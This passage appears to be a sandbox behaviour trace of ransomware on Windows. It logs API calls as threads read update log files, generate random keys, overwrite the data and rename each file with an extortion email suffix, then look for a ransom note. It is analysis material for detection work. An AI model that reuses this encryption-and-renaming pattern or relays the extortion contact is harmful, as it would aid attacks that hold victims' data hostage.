	[0083.921] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0xe6dad4b3
	[0083.921] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x1422ff0b
	[0083.921] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x750d79e5
	[0083.921] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x5c3bb42d
	[0083.921] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0xa30475ce
	[0083.921] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x2bf3ee07
	[0083.921] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0xd292c638
	[0083.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0083.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0083.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.929] ReadFile (in: hFile=0x16f8, lpBuffer=0x5032038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x27f3f824, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x27f3f824*=0x2000, lpOverlapped=0x0) returned 1
	[0083.930] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.930] WriteFile (in: hFile=0x16f8, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x27f3f820, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x27f3f820*=0x2000, lpOverlapped=0x0) returned 1
	[0083.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0083.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf728
	[0083.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf7e8
	[0083.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0083.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0083.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481ed00
	[0083.932] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.932] WriteFile (in: hFile=0x16f8, lpBuffer=0x481ed00*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x27f3f888, lpOverlapped=0x0 | out: lpBuffer=0x481ed00*, lpNumberOfBytesWritten=0x27f3f888*=0x135, lpOverlapped=0x0) returned 1
	[0083.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ed00) returned 1
	[0083.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf7e8) returned 1
	[0083.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf728) returned 1
	[0083.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f28) returned 1
	[0083.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f50) returned 1
	[0083.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47192c0
	[0083.934] wcscpy (in: _Dest=0x47192c0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl"
	[0083.934] wcscat (in: _Dest=0x47192c0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.934] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x27f3f840, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0083.935] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x27f3f838, FileInformation=0x4768628, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0083.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0083.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d898) returned 1
	[0083.935] NtQueryInformationFile (in: FileHandle=0x16f8, IoStatusBlock=0x27f3f84c, FileInformation=0x27f3f824, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27f3f84c, FileInformation=0x27f3f824) returned 0x0
	[0083.936] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x27f3f84c, FileInformation=0x27f3f824, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0083.936] FlushFileBuffers (hFile=0x16f8) returned 1
	[0083.937] CloseHandle (hObject=0x16f8) returned 1
	[0083.938] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780ec8
	[0083.938] wcscpy (in: _Dest=0x4780ec8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.938] wcscat (in: _Dest=0x4780ec8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.938] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.938] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780ec8) returned 1
	[0083.938] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476dd68) returned 1

Thread:
	id = 1138
	os_tid = 0x1e38

	[0083.609] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.004.etl")) returned 0x2020
	[0083.908] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl", dwFileAttributes=0x20) returned 1
	[0085.525] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.004.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16fc
	[0085.525] GetFileSizeEx (in: hFile=0x16fc, lpFileSize=0x27fbf938 | out: lpFileSize=0x27fbf938*=12288) returned 1
	[0085.525] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.525] ReadFile (in: hFile=0x16fc, lpBuffer=0x27fbf8bc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27fbf8b8, lpOverlapped=0x0 | out: lpBuffer=0x27fbf8bc*, lpNumberOfBytesRead=0x27fbf8b8*=0x4, lpOverlapped=0x0) returned 1
	[0085.526] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0085.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.526] NtQuerySystemTime (in: CurrentTime=0x27fbf898 | out: CurrentTime=0x27fbf898*=132251868122667880) returned 0x0
	[0085.526] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xc29bb3db
	[0085.526] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x9bf59b8
	[0085.526] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xcf81a4f5
	[0085.526] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x8cd4b571
	[0085.526] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xe3b6e8ab
	[0085.526] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x5a06924f
	[0085.526] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x50dbbc33
	[0085.526] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x78ebf580
	[0085.526] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xb0fce30e
	[0085.526] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xc665b380
	[0085.526] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xf68d818e
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x888ef950
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xb5f59111
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xc3fe51a2
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x7a1e96cb
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x83bc8e22
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x48f35681
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xf0afdbe8
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x7d95f42e
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x24d7d692
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x95060057
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xb4503f24
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xdcca67c2
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xb0d46a8b
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x7d195ab2
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xf8a51f36
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x4853d1a6
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xc202d1ab
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xcd6d229e
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0xa4383b51
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x8c751416
	[0085.527] RtlRandom (in: Seed=0x27fbf8a4 | out: Seed=0x27fbf8a4) returned 0x8af6ad19
	[0085.535] ReadFile (in: hFile=0x16fc, lpBuffer=0x47db828, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x27fbf894, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x27fbf894*=0x3000, lpOverlapped=0x0) returned 1
	[0085.561] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.561] WriteFile (in: hFile=0x16fc, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x27fbf890, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x27fbf890*=0x3000, lpOverlapped=0x0) returned 1
	[0085.562] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.562] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0085.562] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0085.562] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0085.562] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0085.562] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.562] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.562] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2d778a0
	[0085.562] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.562] WriteFile (in: hFile=0x16fc, lpBuffer=0x481e928*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x27fbf8f8, lpOverlapped=0x0 | out: lpBuffer=0x481e928*, lpNumberOfBytesWritten=0x27fbf8f8*=0x135, lpOverlapped=0x0) returned 1
	[0085.564] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0085.564] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77540) returned 1
	[0085.564] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.564] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0085.564] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.564] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0085.564] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0085.564] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0085.564] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea3a0
	[0085.564] wcscpy (in: _Dest=0x47ea3a0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl"
	[0085.564] wcscat (in: _Dest=0x47ea3a0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.564] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x27fbf8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.564] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0085.565] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0085.565] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0085.565] NtQueryInformationFile (in: FileHandle=0x16fc, IoStatusBlock=0x27fbf8bc, FileInformation=0x27fbf894, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27fbf8bc, FileInformation=0x27fbf894) returned 0x0
	[0085.565] NtSetInformationFile (FileHandle=0x16fc, IoStatusBlock=0x27fbf8bc, FileInformation=0x27fbf894, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.566] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0085.566] FlushFileBuffers (hFile=0x16fc) returned 1
	[0093.065] CloseHandle (hObject=0x16fc) returned 1
	[0093.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733a70
	[0093.065] wcscpy (in: _Dest=0x4733a70, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0093.065] wcscat (in: _Dest=0x4733a70, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0093.065] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0093.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733a70) returned 1
	[0093.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e428) returned 1

Thread:
	id = 1139
	os_tid = 0x1e3c

	[0083.609] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.005.etl")) returned 0x2020
	[0083.894] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl", dwFileAttributes=0x20) returned 1
	[0083.897] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.005.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f8
	[0083.897] GetFileSizeEx (in: hFile=0x16f8, lpFileSize=0x2803fe84 | out: lpFileSize=0x2803fe84*=12288) returned 1
	[0083.897] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.897] ReadFile (in: hFile=0x16f8, lpBuffer=0x2803fe08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2803fe04, lpOverlapped=0x0 | out: lpBuffer=0x2803fe08*, lpNumberOfBytesRead=0x2803fe04*=0x4, lpOverlapped=0x0) returned 1
	[0083.898] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f28
	[0083.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0083.898] NtQuerySystemTime (in: CurrentTime=0x2803fde4 | out: CurrentTime=0x2803fde4*=132251868106400540) returned 0x0
	[0083.898] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0xf5c48ab8
	[0083.898] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x4c9cc5dc
	[0083.898] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x5eda676a
	[0083.898] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x6e677157
	[0083.898] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x51a9dc07
	[0083.898] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x804800de
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0xe9d312bd
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x8de6ac77
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x1f7d37b9
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0xf43e2931
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x6c95c793
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0xe818f008
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x6692e893
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0xecbdbeeb
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x1e64ecc8
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x89982dda
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x860ac7e2
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0xdd5a2602
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0xc076e459
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x9b078b6
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x7d7ee564
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x2a5656d
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x233cfae0
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0xa540e78f
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0xeae68327
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x86d6086c
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x20448ee6
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x488d9e1f
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x5d2eeb0d
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0xd843d2c8
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x8028d6e9
	[0083.899] RtlRandom (in: Seed=0x2803fdf0 | out: Seed=0x2803fdf0) returned 0x43efbeae
	[0083.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0083.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0083.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.907] ReadFile (in: hFile=0x16f8, lpBuffer=0x5032038, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2803fde0, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2803fde0*=0x3000, lpOverlapped=0x0) returned 1
	[0083.908] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.909] WriteFile (in: hFile=0x16f8, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2803fddc, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x2803fddc*=0x3000, lpOverlapped=0x0) returned 1
	[0083.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
